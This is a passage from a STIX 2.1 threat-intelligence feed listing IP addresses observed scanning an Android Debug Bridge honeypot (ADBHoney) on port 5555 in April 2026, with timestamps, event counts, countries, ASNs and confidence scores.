          "first_seen": "2026-04-23T03:49:32.000Z",
          "last_seen": "2026-04-23T03:50:40.880Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PA"
          ],
          "asn": [
            "64107"
          ],
          "org": [
            "RACK SPHERE HOSTING S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-23T03:50:48.000Z | last_seen=2026-04-23T04:01:01.005Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:00:14.000Z",
      "valid_until": "2026-05-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-23T03:50:48.000Z",
          "last_seen": "2026-04-23T04:01:01.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T04:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-23T03:49:30.000Z | last_seen=2026-04-23T03:50:39.867Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8dcff9fd-79c8-4567-baf1-3d359eb87805",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:00:14.000Z",
      "valid_until": "2026-05-25T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-23T03:49:30.000Z",
          "last_seen": "2026-04-23T03:50:39.867Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=93 | first_seen=2026-04-23T06:23:37.000Z | last_seen=2026-04-26T08:47:13.146Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--18e37999-9fa3-47c6-b304-6076c878572a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.135.193.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:00:03.000Z",
      "valid_until": "2026-05-25T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 93,
          "first_seen": "2026-04-23T06:23:37.000Z",
          "last_seen": "2026-04-26T08:47:13.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=TW; asn=38841; asn_org=kbro CO. Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-23T07:48:07.000Z | last_seen=2026-04-23T07:58:15.107Z | ports=5555 | cc=TW | asn=38841 | org=kbro CO. Ltd.",
      "id": "indicator--c059824d-c96a-4ee0-a982-2c7c8cfd9e00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.192.224.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:00:02.000Z",
      "valid_until": "2026-05-25T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-23T07:48:07.000Z",
          "last_seen": "2026-04-23T07:58:15.107Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "38841"
          ],
          "org": [
            "kbro CO. Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CL; asn=22047; asn_org=VTR BANDA ANCHA S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-23T08:22:07.000Z | last_seen=2026-04-23T08:32:16.548Z | ports=5555 | cc=CL | asn=22047 | org=VTR BANDA ANCHA S.A.",
      "id": "indicator--fb6f5dcd-58aa-4ea2-aede-0e753440a4af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '190.164.39.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:00:02.000Z",
      "valid_until": "2026-05-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-23T08:22:07.000Z",
          "last_seen": "2026-04-23T08:32:16.548Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CL"
          ],
          "asn": [
            "22047"
          ],
          "org": [
            "VTR BANDA ANCHA S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-23T10:25:35.000Z | last_seen=2026-04-23T10:35:48.335Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7fe6b9a2-7584-4c82-9f59-7d69aeb9c48d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.122.45.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:00:03.000Z",
      "valid_until": "2026-05-25T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-23T10:25:35.000Z",
          "last_seen": "2026-04-23T10:35:48.335Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T12:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=41 | first_seen=2026-04-23T11:58:57.000Z | last_seen=2026-04-30T20:50:56.676Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:00:05.000Z",
      "valid_until": "2026-05-25T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 41,
          "first_seen": "2026-04-23T11:58:57.000Z",
          "last_seen": "2026-04-30T20:50:56.676Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-23T14:01:25.000Z | last_seen=2026-04-23T14:13:09.291Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--afd6b123-705c-47a9-a818-27a31f9ad6a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.190.216.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:00:02.000Z",
      "valid_until": "2026-05-25T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-23T14:01:25.000Z",
          "last_seen": "2026-04-23T14:13:09.291Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-23T14:29:58.000Z | last_seen=2026-04-23T14:31:01.183Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1ac6d69a-30ad-4fe1-8b35-afb08eb822ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:00:02.000Z",
      "valid_until": "2026-05-25T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-23T14:29:58.000Z",
          "last_seen": "2026-04-23T14:31:01.183Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-23T15:46:58.000Z | last_seen=2026-04-23T15:47:58.512Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--afe170e1-190b-4626-8720-b03c6d201fe5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.79.92.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:00:04.000Z",
      "valid_until": "2026-05-25T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-23T15:46:58.000Z",
          "last_seen": "2026-04-23T15:47:58.512Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-23T20:14:18.000Z | last_seen=2026-04-23T20:15:55.292Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--59607be7-698d-424b-91da-ab9da8d100ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.64.115.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:00:03.000Z",
      "valid_until": "2026-05-25T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-23T20:14:18.000Z",
          "last_seen": "2026-04-23T20:15:55.292Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-23T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=DE; asn=215311; asn_org=Regxa Company for Information Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-23T20:02:16.000Z | last_seen=2026-04-23T20:54:34.240Z | ports=5555 | cc=DE | asn=215311 | org=Regxa Company for Information Technology Ltd",
      "id": "indicator--620ca00d-8958-49e2-9ade-fa42dba37f8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.103.41.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:00:03.000Z",
      "valid_until": "2026-05-25T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-23T20:02:16.000Z",
          "last_seen": "2026-04-23T20:54:34.240Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215311"
          ],
          "org": [
            "Regxa Company for Information Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-24T00:52:05.000Z | last_seen=2026-04-24T00:53:12.421Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--83044e5d-7667-417e-bc32-dedf80181634",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.109.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:00:03.000Z",
      "valid_until": "2026-05-26T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-24T00:52:05.000Z",
          "last_seen": "2026-04-24T00:53:12.421Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-24T01:05:43.000Z | last_seen=2026-04-24T01:17:04.707Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--68e740a0-1da7-4427-8763-0e63efb559bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:00:02.000Z",
      "valid_until": "2026-05-26T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-24T01:05:43.000Z",
          "last_seen": "2026-04-24T01:17:04.707Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=74 | first_seen=2026-04-24T03:49:45.000Z | last_seen=2026-04-28T08:05:47.273Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--24c47ce6-5f3a-47e6-bc99-c67a9dacafa2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:00:03.000Z",
      "valid_until": "2026-05-26T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 74,
          "first_seen": "2026-04-24T03:49:45.000Z",
          "last_seen": "2026-04-28T08:05:47.273Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49581; asn_org=Tube-Hosting; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-24T03:11:41.000Z | last_seen=2026-04-24T03:13:16.033Z | ports=5555 | cc=NL | asn=49581 | org=Tube-Hosting",
      "id": "indicator--8ab04d07-56ec-4650-b7c2-1f3712fc44b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.131.108.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:00:03.000Z",
      "valid_until": "2026-05-26T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-24T03:11:41.000Z",
          "last_seen": "2026-04-24T03:13:16.033Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49581"
          ],
          "org": [
            "Tube-Hosting"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-24T08:00:04.000Z",
